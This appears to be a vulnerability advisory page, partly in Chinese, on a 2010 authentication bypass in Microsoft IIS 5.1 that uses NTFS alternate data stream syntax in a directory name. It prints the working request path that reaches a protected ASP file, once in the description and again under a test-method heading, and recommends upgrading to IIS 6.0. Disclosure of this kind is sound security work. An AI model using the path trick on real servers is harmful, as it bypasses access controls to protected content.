Microsoft IIS 5.1 Directory Authentication Bypass

发布时间:2010-07-02

信息提交:ICT (ictbh2_at_hotmail.com)

影响版本:Microsoft IIS 5.1

漏洞描述:

Introduction:
Although IIS5 is very old, finding one is not impossible! Therefore, I want to introduce a technique to bypass the IIS authentication methods on a directory.

This vulnerability is because of using Alternate Data Stream to open a protected folder. All of IIS authentication methods can be circumvented. In this technique, we can add a “:$i30:$INDEX_ALLOCATION” to a directory name to bypass the authentication.
It is possible to run “secretfile.asp” by using:
“/AuthNeeded:$i30:$INDEX_ALLOCATION/secretfile.asp”
Instead of:
“/AuthNeeded/secretfile.asp”

<*参考

ICTBH@Hotmail.com

*>

测试方法:
本站提 供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

It is possible to run “secretfile.asp” by using:
“/AuthNeeded:$i30:$INDEX_ALLOCATION/secretfile.asp”
Instead of:
“/AuthNeeded/secretfile.asp”

安全建议:

update to IIS 6.0 and Or higher

Microsoft
---------
http://www.microsoft.com/